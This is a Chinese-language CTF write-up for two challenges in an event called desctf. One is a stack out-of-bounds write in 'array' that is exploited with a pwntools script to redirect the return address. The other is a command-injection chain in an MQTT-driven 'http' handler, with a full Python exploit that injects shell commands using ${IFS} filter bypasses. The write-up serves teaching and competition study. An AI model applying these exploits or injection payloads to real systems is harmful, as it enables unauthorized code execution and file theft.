2026desctf-部分wp
array和mqtt题目讲解
Desctf
第一题:array
贴一下漏洞的代码的位置
__int64 vuln()
{
unsigned __int64 v1; // rbx
_QWORD v2[17]; // [rsp+0h] [rbp-B0h] BYREF
unsigned __int64 number1; // [rsp+88h] [rbp-28h] BYREF
unsigned __int64 number2[3]; // [rsp+90h] [rbp-20h] BYREF
puts("plz input your number1:");
fflush(stdout);
read(0, &number1, 8u);
if ( number1 <= 0x11 )
{
while ( getchar() != 'D' )
{
getchar();
read(0, number2, 8u);
v2[0] = number2[0];
v1 = number2[0];
if ( v1 > rand() % (number1 + 1) )
{
puts("No!");
}
else
{
puts("plz input your number2:");
read(0, &v2[number2[0] + 1], 8u);
}
}
puts("Ok");
return 0;
}
else
{
puts("No!");
return 0xFFFFFFFFLL;
}
}这里首先注意的是random并没有初始化种子,这里导致的是每次生成的数值是相对固定的
然后我们分析一下,没有什么类型转化导致的溢出,我们第一次输入的最大的数值0x11(这里注意的一点是输入字节,因为read是单纯对内存地址进行写入的,并且题目中写入之后并没内有进行其他的转化)
之后就进入随机数生成的生成,这里只要我们输入number2的数值小于rand生成的数值,就能往v2数组里面写
思路的话也很简单,首先找一个合适的随机数,让其v2达到最大的索引17(这里注意不是18,一共有17个元素,这里意味着v2数组支持的最大索引的数值是16,而不是对应的17),我们这个时候写入0x10即可。
我们将其修改成一个大值(最好贴近0x16),然后当随机数生成0x16(*8=0xb0)的时候,我们将其写入返回地址,之后退出即可执行后门函数。
这里我们需要加上一个ret片段额外,要不不能满足栈对齐
最终exp如下
一开始我们没有考虑到对齐,考虑到对齐上面的数值的需要简单的改改,具体的改动可以根据exp调一下
from pwn import *
io = process('./array')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(io,"b *0x4011D3")
io.send(b'\x11\x00\x00\x00\x00\x00\x00\x00') #这里会被后续错位理解成换行符,就是这里的16进制里的数字在后面会被当成10进制
#pause()
def cyc():
io.sendline(b'a') #pass
#pause()
io.send(b'\x00')
io.recvuntil("plz input your number2:")
io.send(b'\x66\x66\x66\x66')
def change():
io.sendline(b'a') #pass
#pause()
io.send(b'\x10')
io.recvuntil("plz input your number2:")
#io.send(b'\x66\x66\x66\x66\x66\x66\x66\x66')
io.send(b'\x17')
def pwn1():
io.sendline(b'a') #pass
#pause()
io.send(b'\x16') #
io.recvuntil("plz input your number2:")
io.send(p64(0x000000000040101a))
def pwn2():
io.sendline(b'a') #pass
#pause()
io.send(b'\x17') #
io.recvuntil("plz input your number2:")
io.send(p64(0x401339))
def exec():
io.sendline(b'D') #pass
def cycl():
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
#gdb.attach(io, "b *0x401246")
change()
#pwn()
cycl()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
#gdb.attach(io, "b *0x401246")
cyc()
cyc()
cyc()
cyc()
pwn2()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
cyc()
#gdb.attach(io, "b *0x401246")
pwn1()
#gdb.attach(io, "b *0x401246")
exec()
io.interactive()第二题:mqtt
程序依赖 libpaho-mqtt3c.so.1,说明其核心通信方式是 MQTT
这个是我们做过的mqtt系列的第二道题目
通过下面我们创建了一个MQTT客户端
rc = MQTTClient_create(&client, p_tcp:__localhost:9999_1, "httpclient", 1, 0);然后我们注册这个函数
rc = MQTTClient_setCallbacks(client, 0, connlost, msgarrvd, delivered);这里我们重点看一下main里的这个函数
__int64 __fastcall msgarrvd(__int64 a1, const char *a2, int a3, __int64 a4)
{
__int64 v5; // [rsp+0h] [rbp-80h] BYREF
int v6; // [rsp+Ch] [rbp-74h]
const char *v7; // [rsp+10h] [rbp-70h]
__int64 v8; // [rsp+18h] [rbp-68h]
__int64 v9; // [rsp+28h] [rbp-58h]
char s1[72]; // [rsp+30h] [rbp-50h] BYREF
unsigned __int64 v11; // [rsp+78h] [rbp-8h]
v8 = a1;
v7 = a2;
v6 = a3;
v5 = a4;
v11 = __readfsqword(0x28u);
v9 = *(_QWORD *)(a4 + 16);
if ( (unsigned int)__isoc99_sscanf(v9, "{\"clientid\":\"%63[^\"]\",", s1) == 1 && !strcmp(s1, "httpclient") )
{
MQTTClient_freeMessage(&v5);
MQTTClient_free(v7);
return 1;
}
else
{
http(v9);
puts("Message arrived");
printf(" topic: %s\n", v7);
printf(" message: %.*s\n", *(_DWORD *)(v5 + 8), *(const char **)(v5 + 16));
MQTTClient_freeMessage(&v5);
MQTTClient_free(v7);
return 1;
}
}这里我们绕过过滤之后就能进入http这个函数,利用下面这个部分读取flag
snprintf(src, 0x80u, "cat /home/ctf/%s", s);
n = strlen(src);
memcpy(cmd, src, n);
if ( !strcmp(s, "index_html") )
{
stream = popen(cmd, "r");利用思路的话本质上还是利用的全局变量
- 第一阶段:写入更长的恶意命令到全局
cmd,虽然这次不会执行 - 第二阶段:再写入合法的
index_html,触发执行 - 因为第二次没有补
\0,第一次遗留的恶意尾巴还在 - 最终形成命令拼接执行
这里补充一下基本的过滤绕过的知识
cat${IFS}/flag
# 注释掉 cmd 中残留的旧垃圾数据
最终exp如下
ai现在是真的强
#!/usr/bin/env python3
import socket
import struct
import threading
import time
import json
import random
import sys
HOST = sys.argv[1]
PORT = int(sys.argv[2])
TOPIC = "HTTP"
def pack_str(s):
if isinstance(s, str):
s = s.encode()
return struct.pack("!H", len(s)) + s
def enc_varint(x):
out = b""
while True:
b = x % 128
x //= 128
if x > 0:
b |= 0x80
out += bytes([b])
if x == 0:
return out
def recv_exact(sock, n):
data = b""
while len(data) < n:
chunk = sock.recv(n - len(data))
if not chunk:
raise EOFError("socket closed")
data += chunk
return data
def recv_varint(sock):
mult = 1
value = 0
while True:
b = recv_exact(sock, 1)[0]
value += (b & 0x7f) * mult
if (b & 0x80) == 0:
return value
mult *= 128
def parse_str(buf, off):
n = struct.unpack("!H", buf[off:off+2])[0]
off += 2
s = buf[off:off+n]
off += n
return s, off
class MQTTClient:
def __init__(self, host, port):
self.sock = socket.create_connection((host, port))
self.running = True
def send_pkt(self, pkt_type_flags, body):
self.sock.sendall(bytes([pkt_type_flags]) + enc_varint(len(body)) + body)
def connect(self, client_id):
vh = pack_str("MQTT") + bytes([4, 2]) + struct.pack("!H", 60)
payload = pack_str(client_id)
self.send_pkt(0x10, vh + payload)
hdr = recv_exact(self.sock, 1)[0]
if hdr != 0x20:
raise RuntimeError(f"bad CONNACK header: {hdr:#x}")
rem = recv_varint(self.sock)
body = recv_exact(self.sock, rem)
if body != b"\x00\x00":
raise RuntimeError(f"CONNACK failed: {body!r}")
def subscribe(self, topic, qos=0):
pid = 1
body = struct.pack("!H", pid) + pack_str(topic) + bytes([qos])
self.send_pkt(0x82, body)
hdr = recv_exact(self.sock, 1)[0]
if hdr != 0x90:
raise RuntimeError(f"bad SUBACK header: {hdr:#x}")
rem = recv_varint(self.sock)
recv_exact(self.sock, rem)
def publish(self, topic, payload, qos=0):
if isinstance(payload, str):
payload = payload.encode()
body = pack_str(topic) + payload
hdr = 0x30 | (qos << 1)
self.send_pkt(hdr, body)
def close(self):
try:
self.sock.close()
except:
pass
def publish_once(payload):
cli = MQTTClient(HOST, PORT)
cli.connect(f"pub{random.randint(1000,9999)}")
cli.publish(TOPIC, payload, qos=0)
cli.close()
def make_stage1(cmd):
if not cmd.endswith("${IFS}#"):
cmd = cmd + "${IFS}#"
inj = "index_html;" + cmd
if len(inj) > 63:
raise ValueError(f"payload too long ({len(inj)} > 63): {inj}")
return f"GET /ctf/{inj} HTTP/1.1\r\n\r\n\x00".encode()
def make_stage2():
return b"GET /ctf/index_html HTTP/1.1\r\n\r\n\x00"
def trigger(cmd):
print("=" * 60)
print("[+] cmd =", cmd)
publish_once(make_stage1(cmd))
time.sleep(0.5)
publish_once(make_stage2())
time.sleep(2.5)
def reader_loop(sub):
while sub.running:
try:
first = recv_exact(sub.sock, 1)[0]
except EOFError:
break
rem = recv_varint(sub.sock)
body = recv_exact(sub.sock, rem)
pkt_type = first >> 4
if pkt_type != 3:
continue
off = 0
topic, off = parse_str(body, off)
payload = body[off:]
try:
txt = payload.decode("utf-8", "ignore").rstrip("\x00\r\n")
except:
txt = repr(payload)
print(f"[sub] topic={topic.decode(errors='ignore')} raw={txt}")
try:
obj = json.loads(txt)
if obj.get("clientid") == "httpclient":
msg = obj.get("message", "")
print(f"[sub] httpclient => {msg}")
if "flag{" in msg.lower() or "ctf{" in msg.lower():
print(f"[!!!] maybe flag => {msg}")
except:
pass
def main():
sub = MQTTClient(HOST, PORT)
sub.connect(f"sub{random.randint(1000,9999)}")
sub.subscribe(TOPIC, qos=0)
t = threading.Thread(target=reader_loop, args=(sub,), daemon=True)
t.start()
print("[+] wait 3 seconds for heartbeat...")
time.sleep(3)
cmds = [
"echo${IFS}PWNED",
"echo${IFS}$PWD",
"echo${IFS}*",
"cat${IFS}f*",
"cat${IFS}flag*",
"cat${IFS}*flag*",
]
for cmd in cmds:
try:
trigger(cmd)
except Exception as e:
print("[!] error:", e)
print("[+] keep listening 5 seconds...")
time.sleep(5)
sub.running = False
sub.close()
if __name__ == "__main__":
main()array题利用未初始化随机数实现栈溢出劫持返回地址;mqtt题通过MQTT消息触发sscanf+snprintf型命令拼接执行,绕过过滤读取flag。
由 AI 根据全文自动生成,仅供参考,以原文为准